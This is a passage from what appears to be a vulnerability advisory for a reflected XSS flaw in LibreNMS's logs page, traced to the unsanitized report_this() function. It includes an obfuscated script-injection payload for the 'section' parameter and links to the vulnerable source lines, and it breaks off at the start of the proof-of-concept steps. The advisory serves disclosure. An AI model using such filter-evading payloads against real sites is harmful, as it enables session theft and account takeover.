The issue arises from a lack of sanitization in the \"report_this()\" function.\n\n### Details\nThe \"section\" parameter of the \"logs\" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the \"section\" parameter:\n```\u003cscript\u003econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();\u003c%2fscript\u003e```\n\nWhen the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the \"report_this()\" function. Other endpoints using this same function may also be vulnerable.\n\nThe vulnerable sink is located here:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93\n\n### PoC\n1.
